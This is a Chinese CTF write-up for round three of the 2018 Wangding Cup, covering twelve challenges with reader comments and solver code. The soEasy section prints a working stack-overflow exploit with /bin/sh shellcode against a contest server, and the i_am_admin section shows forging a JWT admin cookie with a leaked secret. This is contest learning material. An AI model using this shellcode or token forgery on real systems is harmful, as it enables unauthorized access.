网鼎杯第三场wp
网鼎杯第三场wp
连续打了好几次网鼎杯这场是最累的。事在是太累了。到了五点半我实在是gang不住了。我请假回家了。emmmm 回去的路上我都感觉头晕难受
废话不多说了,直接上吧
1、签到题
2、Not_only_base
题目说的不止是base
拿到数据之后呢,直接base32 解开就行了
3、track_hacker
打开是一个流量包搜索一下http吧发现是一个上传的了一个shell的操作
收集一波信息吧
1.eJwrLy/XTUksSQQADqgDLQ==
2.eJwDAAAAAAE=
3.eJxLy0lMrw6NTzPMS4n3TVWsBQAz4wXi
4.。。。。。。
解密到第三个,python 解开
Flag:flag{U_f1nd_Me!}
4、comein
使用burpsuite构造这样的参数进行发包
参考文章如下:https://ctftime.org/writeup/10429
参考文章2 :https://xz.aliyun.com/t/2454
5、gold
打开题目,发现收集1000金币才能获取到flag,但是金币一直在负增长,burpsuite抓包
这里是爆破,直接用getGod参数来进行爆破。我爆破了三次,第一次是1001 爆破失败,第二次到1005 第三次直接用0-5-10 这样爆破。最后得出flag
6、i_am_admin
其实这道题好像有原题。地址我忘记了,稍后发一下地址
打开登录地址,使用admin/admin、admin/123456等弱口令登录,发现
接着查看response包内容,发现登录账号密码是test/test
使用test/test登录,
但是这个只是登录界面,而且在上一步的response包中有一个“admin is not for u”这句话,也就是说我们要使用admin账号登录
接着我们使用burp获取登录之后主页的GET包
发现登录之前cookie中没有auth这个参数,猜想auth这个参数可能是解题的关键
将登录之后的auth值使用base64解密
发现username:test,把auth的值随便删掉几个,发包
发现服务器报500错误,查看返回包(主要是报错的内容,可以看到加密的方式等等),采用的是jwt加密,那我们使用jwt解密
参考文章:https://pypi.org/project/PyJWT/1.4.0/
secret_key的值我们开始在登录进去之后就知道了:
uy8qz-!kru%*2h7$q&veq=y_r1abu-xd_219y%phex!@4hv62+
直接使用python进行解密
替换auth中的内容,发包
flag{af2b182e-4714-420e-8fc7-6a78993821ca}
7、Unpleasant_music
|打开wav文件发现是高低波形 转换为01数据得到rar文件
使用010 Editor打开文件发现其中隐写PNG文件
Run template修改block值
解压文件发现多出STM文件
修改文件后缀名为PNG打开发现为半张二维码
接下来需要爆破CRC判断图片实际尺寸 Python脚本如下
参考文章:
https://www.jianshu.com/p/0b5d14657d2e
爆破得到图片实际尺寸为280×280
修改文件头中的数据
得到完整的二维码
8、mirror
用winhex 打开
010Editor打开文件 根据提示发现文件尾有倒置的PNG文件头
搜索DNEI关键字找到PNG文件尾
将文件数据倒置并保存得到flag图片
9、dewas
根据题中提示FPS推断WASD键为方向 E为断点 画图得到flag
10、hafuhafu
打开文件发现public key以及enc 初步判断为RSA加密算法
对n进行因数分解得到
对n进行因数分解得到
使用Python–rsatool得到PEM文件
对enc进行BASE64解密然后保存
使用OPENSSL对BASE64解密后的密文解密得到flag
11、soEasy
查看伪代码 发现vul函数中有read() 有栈溢出漏洞
通过查看 &buf大小为48
通过Zio库编写脚本
#!/usr/bin/env python from pwn import * #file "/Users/LMva/Downloads/pwn" import re p = remote('106.75.95.47',42264) ret=int(p.recvline()[-11:-1],16) shellcode1 = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f" shellcode2 = "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08" shellcode3 = "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53" shellcode4 = "\x89\xe1\xcd\x80" shellcode = shellcode1 + shellcode2 + shellcode3 +shellcode4 payload = shellcode + (76 - len(shellcode)) * "A" + p32(ret) p.send(payload) p.interactive()
12、babyre
是一个.net 程序 ,在源码中看到了flag拼接的过程
LSA
2018年8月27日 下午8:54
等你22点更新,期待中……
Y
2018年8月27日 下午9:01
沙发
Y
2018年8月27日 下午9:03
收藏了
Y
2018年8月27日 下午9:05
为啥评论不了
print("")
2018年8月27日 下午9:13
可以评论啊
菜ji
2018年8月27日 下午9:26
坐等大佬跟新
neal
2018年8月28日 上午8:56
大佬 music 那题是怎么把波形转化为 01 数据文件的啊
neal
2018年8月28日 上午8:57
大佬 music 那题如何转化波形为 01 数据文件的啊
神谕恋红尘
2018年8月28日 上午10:16
大佬 music 那题如何转化波形为 01 数据文件的啊
xxxx
2018年8月28日 下午8:42
我是人工算的,2秒我算了半个小时,总共20秒,我没算完。放弃。
A11en4
2018年8月28日 上午11:07
大佬牛?呀!收下我的膝盖!
Smi1e
2018年8月30日 下午8:57
music那个不知道怎么转换成rar的,没看懂,大佬能详细说下吗
Foll0wMe
2018年8月31日 下午1:32
import wave
import time
import numpy as np
filename = r’c:\Users\smile\Desktop\music.wav’
WAVE = wave.open(filename, “rb”)
nframes = WAVE.getnframes() # 帧总数
str_data = WAVE.readframes(nframes)
wave_data = np.fromstring(str_data, dtype=np.short)
for frame in wave_data:
frame = int(frame)
print “Frame:”, frame
路人甲
2018年8月31日 下午6:34
运行了下这段代码,并不清楚和转换rar文件有什么关联
poly
2018年8月31日 上午10:34
几个附件方便发一下吗
欢乐玩家
2018年9月25日 下午6:44
dewas
这个题目,你的图,程序没做碰到奇数个e停止轨迹,碰到偶数个e重新开始轨迹,所以出来的图示模糊的,如果做了,图像非常清晰,但是最后的叹号!标准答案是去掉的。
欢乐玩家
2018年9月25日 下午6:50
dewas的C语言解题源码,读取1.txt输出2.txt
#include
#define COL 200
#define ROW 100
int main()
{
FILE *fpIn, *fpOut;
char matrix[ROW][COL];
int ch;
int curL, curR;
int flag = 1;
int i, j;
memset(matrix, 0x20, sizeof(matrix));
fpIn = fopen(“1.txt”, “r”);
if (fpIn == NULL) {
printf(“open 1.txt err\n”);
return 0;
}
curL = 3;
curR = 1;
while((ch = fgetc(fpIn)) != EOF) {
switch (ch) {
case ‘w’:
curL –;
if (flag)
matrix[curL][curR] = ‘#’;
break;
case ‘s’:
curL ++;
if (flag)
matrix[curL][curR] = ‘#’;
break;
case ‘a’:
curR –;
if (flag)
matrix[curL][curR] = ‘#’;
break;
case ‘d’:
curR ++;
if (flag)
matrix[curL][curR] = ‘#’;
break;
case ‘e’:
if (flag)
flag = 0;
else
flag = 1;
break;
default:
printf(“unknow err [%c]\n”, ch);
break;
}
}
fclose(fpIn);
fpOut = fopen(“2.txt”, “w”);
if (fpOut == NULL) {
printf(“open 2.txt err\n”);
return 0;
}
for (i = 0; i < ROW; i ++) {
for (j =0; j < COL; j++) {
fprintf(fpOut, "%c", matrix[i][j]);
}
fprintf(fpOut, "%s", "\n");
}
fclose(fpOut);
return 0;
}
TSL
2020年4月24日 下午11:42
MCJIJSGKP=ZZYXZXRMU=W3YZG3ZZ==G3HQHCUS==base32直接解不开呀大佬